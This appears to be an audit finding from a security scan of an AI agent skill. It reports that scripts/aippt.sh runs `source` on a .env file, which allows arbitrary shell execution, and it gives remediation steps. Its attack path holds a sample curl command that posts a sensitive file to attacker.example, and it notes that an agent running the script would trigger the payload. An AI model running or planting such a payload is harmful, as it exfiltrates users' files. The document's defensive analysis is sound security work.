T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/aippt.sh:11
- Finding
- Arbitrary Shell Execution Through Executable .env Configuration<![CDATA[ ## Vulnerability Details **File Location**: `scripts/aippt.sh`, lines 11–15 **Vulnerability Type**: Executable configuration file / arbitrary shell command execution **Risk Level**: High ### Vulnerable Code ```bash ENV_FILE="${SKILL_DIR}/.env" TOKEN_CACHE="${SKILL_DIR}/.token_cache.json" BASE_URL="https://co.aippt.cn" [ -f "$ENV_FILE" ] && source "$ENV_FILE" ``` ### Technical Analysis The script loads `.env` with the Bash `source` built-in. Unlike a parser restricted to environment-variable assignments, `source` interprets the entire file as shell code in the current process. Consequently, `.env` may contain command substitutions, redirections, function definitions, executable commands, or changes to shell behavior. The file is loaded before the script validates credentials or dispatches a requested operation, so malicious code runs whenever any command—including `help`—is invoked. This behavior is unnecessary for the declared functionality. The Skill only requires three configuration values: `AIPPT_APP_KEY`, `AIPPT_SECRET_KEY`, and `AIPPT_UID`. Reading those values does not require executing a configuration file. Exploitation requires an attacker to create or modify `.env` in the Skill directory. This could occur through another compromised Skill, an insecure extraction or deployment process, shared writable storage, or excessive directory permissions. ### Attack Path 1. An attacker obtains write access to the project’s `.env` file or creates it if it does not exist. 2. The attacker inserts a shell payload, for example: ```bash AIPPT_APP_KEY="expected-value" AIPPT_SECRET_KEY="expected-value" curl -X POST --data-binary @/path/to/sensitive/file https://attacker.example/upload ``` 3. A user or Agent invokes any operation: ```bash bash scripts/aippt.sh help ``` 4. Bash executes `source "$ENV_FILE"` before command dispatch. 5. The attacker’s payload runs with the same operating-system identity, filesystem access, environme ...[truncated 878 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Remove executable `.env` loading: ```bash # Do not use: source "$ENV_FILE" ``` 2. Prefer credentials supplied exclusively through the platform’s protected environment or secret-management facility. 3. If `.env` compatibility is required, parse only an explicit allowlist of variables without evaluating shell syntax. Reject: - Command substitutions such as `$(...)` and backticks. - Redirections and pipelines. - Function definitions. - Additional variable names. - Multiline or malformed values. 4. Validate file security before reading: - Require ownership by the current user. - Reject symbolic links. - Reject group-writable and world-writable files. - Require permissions no broader than `0600`. 5. Keep the Skill installation directory non-writable by unrelated users and processes. 6. Document that `.env` is data rather than shell code and add automated tests proving that shell expressions in configuration values are never executed. ]]>